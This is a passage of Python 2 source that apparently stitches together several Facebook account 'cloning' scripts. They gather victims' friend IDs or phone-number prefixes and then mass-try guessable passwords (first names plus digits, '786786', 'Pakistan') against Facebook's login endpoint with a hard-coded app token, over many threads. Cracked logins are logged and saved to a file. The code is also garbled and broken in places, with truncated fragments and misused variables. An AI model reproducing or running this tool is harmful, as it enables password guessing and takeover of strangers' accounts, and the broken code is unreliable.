s["★_msg"]: print '\x1b[1;93m★\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass2 cek = open("out/checkpoint.txt", "k") cek.write(user + "|" + pass2 + "\n") cek.close() cekpoint.append(user + pass2) else: pass3 = y['first_name'] + '123' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;97m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93 ' + pass3 oks.append(user + pass3) else: if 'www.facebook.com' in s["★_msg"]: print '\x1b[1;93m★\x1b[1;93m \x1b[1;93\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass3 cek = open("out/checkpoint.txt", "k") cek.write(user + "|" + pass3 + "\n") cek.close() cekpoint.append(user + pass3) else: pass4 = y['first_name'] + '1234' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m' + pass4 oks.append(user + pass4) else: if 'www.facebook.com' in s["★_msg"]: print '\x1b[1;93m★\x1b[1;93 \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass4 cek = open("out/checkpoint.txt", "k") cek.write(user + "|" + pass4 + "\n") cek.close() cekpoint.append(user + pass4) else: pass5 = y['first_name'] + '12' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass5 oks.append(user + pass5) else: if 'www.facebook.com' in s[ "★_msg"]: print '\x1b[1;93mError\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass5 cek = open( "out/checkpoint.txt", "k") cek.write(user + "|" + pass5 + "\n") cek.close() cekpoint.append(user + pass5) else: pass6 = y[ 'first_name'] + '786' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass6 oks.append(user + pass6) else: if 'www.facebook.com' in s[ "★_msg"]: print '\x1b[1;93m★\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass6 cek = open( "out/checkpoint.txt", "k") cek.write(user + "|" + pass6 + "\n") cek.close() cekpoint.append( user + pass6) else: pass7 = 'Pakistan1' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass8 oks.append( user + pass8) else: if 'www.facebook.com' in s[ "★_msg"]: print '\x1b[1;93m★\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass8 cek = open( "out/checkpoint.txt", "k") cek.write( user + "|" + pass8 + "\n") cek.close() cekpoint.append( user + pass7) s = json.load( data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass7 oks.append(user + pass7) else: if 'www.facebook.com' in s[ "★_msg"]: print '\x1b[1;93m★\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass7 cek = open( "out/checkpoint.txt", "k") cek.write(user + "|" + pass7 + "\n") cek.close() cekpoint.append( user + pass7) else: pass8 = 'Bangladesh' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass8 oks.append( user + pass8) else: if 'www.facebook.com' in s[ "★_msg"]: print '\x1b[1;93m★\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass8 cek = open( "out/checkpoint.txt", "k") cek.write( user + "|" + pass7 + "\n") cek.close() cekpoint.append( user + pass7) except: pass p = ThreadPool(30) p.map(main, id) print " °°°°°°°°°°°° " print " Written By shaheer" #Dev:shaheer print '\033[1;94mProcess Has Been Completed \033[1;94m....' print '\033[1;92mType (python2 Dvl.py) New Fb Start Cloning\033[1;92m....' print "\033[1;96mTotal Live/\x1b[1;96mCheckpoint \033[1;96m: \033[1;96m" + str( len(oks)) + "\033[1;96m/\033[1;96m" + str(len(cekpoint)) print """ \033[1;96m •P R O C E S S D O N E• \033[1;92m CP ID AFTER 2 WEEKS (14DAYS) """ raw_input("\n\033[1;92m[\033[1;92mBack\033[1;92m]") crack()
def pilih_super(): peak = raw_input("\n\033[1;96mChoose an Option>>> \033[1;97m") if peak =="": print "\x1b[1;94mFill in correctly" pilih_super() elif peak =="1": os.system('clear') print logo print "\033[1;97m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•\033[1;93mALEX\033[1;97m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬ •◈•" jalan('\033[1;94mGetting IDs \033[1;94m...') r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak =="2": os.system('clear') print logo idt = raw_input("\033[1;97m[•◈•] \033[1;94mEnter ID\033[1;97m: \033[1;97m") print "\033[1;97m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•\033[1;93mALEX\033[1;97m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•" try: jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket) op = json.loads(jok.text) print"\033[1;97mName\033[1;97m:\033[1;96m "+op["name"] except KeyError: print"\x1b[1;97mID Not Found!" raw_input("\n\033[1;97m[\033[1;93mBack\033[1;97m]") super() print"\033[1;94mGetting IDs\033[1;97m..." r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak =="0": menu() else: print "\x1b[1;97mFill in correctly" pilih_super() print "\033[1;97mTotal IDs\033[1;97m: \033[1;94m"+str(len(id)) jalan('\033[1;94mPlease Wait\033[1;94m...') titik = ['. ','.. ','... '] for o in titik: print("\r\033[1;94mCloning\033[1;97m"+o),;sys.stdout.flush();time.sleep(1) print "\n\033[1;97m«--•◈••◈•---\x1b[1;93m•◈•Stop Process Press CTRL+Z•◈•\033[1;97m---•◈••◈•-»" print "\033[1;97m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•\033[1;93mShabirBaloch\033[1;97m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬ •◈•" jalan(' \033[1;97m.................\033[1;93mCloning Start..\033[1;97m............ ') print "\033[1;97m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•\033[1;93mShabirBaloch\033[1;97m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬ •◈•" def main(arg): global cekpoint,oks user = arg try: os.mkdir('out') except OSError: pass #Dev:baloch_hacker try: a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) b = json.loads(a.text) pass1 = b['first_name'] + b['last_name'] data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mHack 100%💉\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass1 oks.append(user+pass1) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96mCheckpoint\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass1 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass1+"\n") cek.close() cekpoint.append(user+pass1) else: pass2 = '786786' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mHack 100%💉\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass2 oks.append(user+pass2) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96mCheckpoint\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass2 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass2+"\n") cek.close() cekpoint.append(user+pass2) else: pass3 = b['first_name'] + '123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mHack 100%💉\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass3 oks.append(user+pass3) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96mCheckpoint\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass3 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass3+"\n") cek.close() cekpoint.append(user+pass3) else: pass4 = b['first_name'] + '1234' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mHack 100%💉\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass4 oks.append(user+pass4) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96mCheckpoint\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass4 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass4+"\n") cek.close() cekpoint.append(user+pass4) else: pass5 = b['first_name'] + '12 data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mHack 100%💉\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass5 oks.append(user+pass5) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96mCheckpoint\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass5 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass5+"\n") cek.close() cekpoint.append(user+pass5) else: pass6 = b['first_name'] + '123456' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mHack 100%💉\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass6 oks.append(user+pass6) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96mCheckpoint\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass6 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass6+"\n") cek.close() cekpoint.append(user+pass6) else: a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) b = json.loads(a.text) pass7 = b['first_name'] + '786' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mHack 100%💉\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass7 oks.append(user+pass7) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96mCheckpoint\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass7 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass7+"\n") cek.close() cekpoint.append(user+pass7) except: pass p = ThreadPool(50) p.map(main, id) print "\033[1;96m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•\033[1;93mALEX\033[1;96m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•" print " \033[1;93m«---•◈•---Developed By baloch-Hacker--•◈•---»" #Dev:Alex_hacker print '\033[1;96m✅Process Has Been Completed Press➡ Ctrl+Z.↩ Next Type (python2 Sarif.py)↩\033[1;97m....' print"\033[1;92mTotal OK/\x1b[1;93mCP \033[1;93m: \033[1;97m"+str(len(oks))+"\033[1;97m/\033[1;93m"+str(len(cekpoint)) print """ ¸,.-~·¹´¨¨¨¨¨¨¨¨¨¨¨¨¨¨`²·~-.,¸ .·´;:': `·. .·´;;:: ': `·. ' .·´;;;::: : ' \ /;;;.·´¨¨¨` · . . · ´¨¨¨¨`·. ', ,';;;/;:: : `·. ' ·' \ ; ;';,';;::: :' '\ ·: ', ; ;'/¸.·´¨¨` · . `·. ', ! ,': .·´ . · ´¨¨¨¨`·.¸\ ; ',;;',::: `·. '; ;:: .·´ / ,' ',;;'\:: ' \ '; ;: ,' / .·´ ,' ' `·.;'`·. '', ; ; ,' .·´ ¸.·´ '`·.: `¹·~-.,¸ \ ,' ',/¸,.-~·¹´ ' .·´ `·.;:' `'` ´'´ ' .·´ `·.: ´ ` .·´ `·.,¸ ¸,.-. .·´ ·;~-.¸ ¸,.;´ Checkpoint ID Open After 7 Days •\033[1;93m◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•. : \033[1;96m ....sarif chora alex....... \033[1;93m : •\033[1;93m◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•.' WhatsApp Num \033[1;96m +917890345599""" raw_input("\n\033[1;93m[\033[1;96mBack\033[1;93m]") menu()
def pb(): bp = raw_input(W + ' ✬🄵🄰🄲🄴🄱🄾🄾🄺✬ ') if bp == '': print(R + 'Select a valid option !') pb() elif bp == '1': cb() print(logo) r = requests.get( 'https://graph.facebook.com/me/friends?access_token=' + tb) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif bp == '2': cb() print(logo) idt = raw_input(S + '[☆] ' + G + 'Put Public User ID/User Name: ' + W + '') cb() print(logo) try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + tb) op = json.loads(jok.text) psb(S + '[☆]' + G + ' Account Name: ' + W + op['name']) except KeyError: print(R + ' ID not found !') raw_input(R + ' Back') pak() r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + tb) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif bp == '3': cb() print(logo) try: idlist = raw_input(S + '[☆] ' + R + 'Enter File Path: ' + G + '') for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print(R + ' File Not Fount !') raw_input(R + ' Back') pak() elif bp == '0': menu() else: print(R + ' Select a valid option !') pb() print(S + '[☆]' + P + ' Total Friends: ' + W + str(len(id))) psb(S + '[☆]' + S + ' To stop process click on CTRL ~ Z') print print(S + 50 * '-') print def main(arg): global cps, oks user = arg try: h = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + tb) j = json.loads(h.text) ps1 = ('786786') dt = urllib.urlopen( 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + (user) + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' ) k = json.load(dt) if 'www.facebook.com' in k['error_msg']: print(S + '[CP] ♡ ' + user + ' ♡ ' + ps1) cps.append(user + ps1) else: if 'access_token' in k: print(G + '[OK] ♡ ' + user + ' ♡ ' + ps1) oks.append(user + ps1) else: ps2 = (j['first_name'] + '123') dt = urllib.urlopen( 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + (user) + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' ) k = json.load(dt) if 'www.facebook.com' in k['error_msg']: print(S + '[CP] ♡ ' + user + ' ♡ ' + ps2) cps.append(user + ps2) else: if 'access_token' in k: print(G + '[OK] ♡ ' + user + ' ♡ ' + ps2) oks.append(user + ps2) else: ps3 = (j['first_name'] + '786') dt = urllib.urlopen( 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + (user) + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' ) k = json.load(dt) if 'www.facebook.com' in k['error_msg']: print(S + '[CP] ♡ ' + user + ' ♡ ' + ps3) cps.append(user + ps3) else: if 'access_token' in k: print(G + '[OK] ♡ ' + user + ' ♡ ' + ps3) oks.append(user + ps3) else: ps4 = (j['first_name'] + '12345') dt = urllib.urlopen( 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + (user) + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' ) k = json.load(dt) if 'www.facebook.com' in k['error_msg']: print(S + '[CP] ♡ ' + user + ' ♡ ' + ps4) cps.append(user + ps4) else: if 'access_token' in k: print(G + '[OK] ♡ ' + user + ' ♡ ' + ps4) oks.append(user + ps4) else: ps5 = ('Pakistan') dt = urllib.urlopen( 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + (user) + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' ) k = json.load(dt) if 'www.facebook.com' in k[ 'error_msg']: print(S + '[CP] ♡ ' + user + ' ♡ ' + ps5) cps.append(user + ps5) else: if 'access_token' in k: print(G + '[OK] ♡ ' + user + ' ♡ ' + ps5) oks.append(user + ps5) else: ps6 = (j['first_name'] + 'khan') dt = urllib.urlopen( 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + (user) + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' ) k = json.load(dt) if 'www.facebook.com' in k[ 'error_msg']: print(S + '[CP] ♡ ' + user + ' ♡ ' + ps6) cps.append(user + ps6) else: if 'access_token' in k: print(G + '[OK] ♡ ' + user + ' ♡ ' + ps6) oks.append(user + ps6) except: pass p = ThreadPool(30) p.map(main, id) print print(S + 50 * '-') print print(S + 'Process has been completed CP ID Open After 7 Days ') print(Y + 'Total ' + G + 'OK' + S + '/' + P + 'CP' + S + ' = ' + G + str(len(oks)) + S + '/' + R + str(len(cps))) print(S + 'xidi pakistani') print raw_input(R + 'Back') os.system('python2 xidi123.py')
def action(): global cpb global oks lovehackerx = raw_input('\n\x1b[1;94mChoose an Option > > \x1b[1;95m') if lovehackerx == '': print '\x1b[1;91m[!] Fill in correctly' action() elif lovehackerx == '1': os.system('clear') print logo print '\x1b[1;93m175,165,191, 192, 193, 194, 195, 196, 197, 198, 199' try: c = raw_input('\x1b[1;94m choose code : ') k = '+880' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '2': os.system('clear') print logo print '\x1b[1;93m555,786, 815, 315, 256, 401, 718, 917, 202, 701, 303, 703, 803, 999, 708' try: c = raw_input('\x1b[1;94m choose code : ') k = '+1' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '3': os.system('clear') print logo print '\x1b[1;93m715,785,765,725,745,735,737, 706, 748, 783, 739, 759, 790' try: c = raw_input(' \x1b[1;94mchoose code : ') k = '+44' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '4': os.system('clear') print logo print '\x1b[1;93m905,975,755,855,954, 897, 967, 937, 700, 727, 965, 786, 874, 856, 566, 590, 527, 568, 578' try: c = raw_input(' \x1b[1;94mchoose code : ') k = '+91' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '5': os.system('clear') print logo print '\x1b[1;93m127, 179, 117, 853, 318, 219, 834, 186, 479, 113' try: c = raw_input('\x1b[1;94m choose code : ') k = '+55' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '6': os.system('clear') print logo print '\x1b[1;93m11, 12, 19, 16, 15, 13, 14, 18, 17' try: c = raw_input('\x1b[1;94m choose code : ') k = '+81' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '7': os.system('clear') print logo print '\x1b[1;93m1, 2, 3, 4, 5, 6, 7, 8, 9' try: c = raw_input('\x1b[1;94m choose code : ') k = '+82' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '8': os.system('clear') print logo print '\x1b[1;93m311,323,385,388, 390, 391, 371, 380, 368, 386, 384, 332, 344, 351, 328' try: c = raw_input('\x1b[1;94m choose code : ') k = '+39' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '9': os.system('clear') print logo print '\x1b[1;93m655,755,60, 76, 73, 64, 69, 77, 65, 61, 75, 68' try: c = raw_input('\x1b[1;94m choose code : ') k = '+34' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '10': os.system('clear') print logo print '\x1b[1;93m66, 69, 78, 79, 60, 72, 67, 53, 51' try: c = raw_input('\x1b[1;94m choose code : ') k = '+48' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '11': os.system('clear') print logo print '\x1b[1;93m01, to , 49' try: c = raw_input('\x1b[1;94m choose code : ') k = '+923' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '12': os.system('clear') print logo print '\x1b[1;93m81,83,85,84,89,' try: c = raw_input('\x1b[1;94m choose code : ') k = '+880' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '13': os.system('clear') print logo print '\x1b[1;97m(leave the first four digits and the last seven digits of any phone number in this country.Write the remaining digits here.69,693,698,694,695' try: c = raw_input('\x1b[1;93m choose code : ') k = '+3069' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '14': os.system('clear') print logo print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this country.Write the remaining digits here.455' try: c = raw_input('\x1b[1;94m choose code : ') k = '+61' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '15': os.system('clear') print logo print '\x1b[1;93m(leave the first one digits and the last seven digits of any phone number in this country.Write the remaining digits here.555,' try: c = raw_input('\x1b[1;94m choose code : ') k = '+1' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '16': os.system('clear') print logo print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this country.Write the remaining digits here.1355,1555,1855,' try: c = raw_input(' \x1b[1;94mchoose code : ') k = '+86' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '17': os.system('clear') print logo print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this country.Write the remaining digits here.2,3,4,5,6,7,8' try: c = raw_input(' \x1b[1;94mchoose code : ') k = '+45' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '18': os.system('clear') print logo print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this country.Write the remaining digits here.65,70,73,74,76,77' try: c = raw_input('\x1b[1;94m choose code : ') k = '+33' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '19': os.system('clear') print logo print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this country.Write the remaining digits here.151,152,153,155,157,159,160,162,179,163,174,163' try: c = raw_input('\x1b[1;94m choose code : ') k = '+49' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '20': os.system('clear') print logo print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this country.Write the remaining digits here.11,12,13,14,15,16,17,18,19' try: c = raw_input('\x1b[1;94m choose code : ') k = '+60' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '21': os.system('clear') print logo print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this country.Write the remaining digits here.71,72,73,74,75,76,77,78' try: c = raw_input('\x1b[1;94m choose code : ') k = '+94' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '22': os.system('clear') print logo print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this country.Write the remaining digits here.55,54,53,52,50' try: c = raw_input('\x1b[1;94m choose code : ') k = '+90' idlist = '.txt' for line in open(idlist, 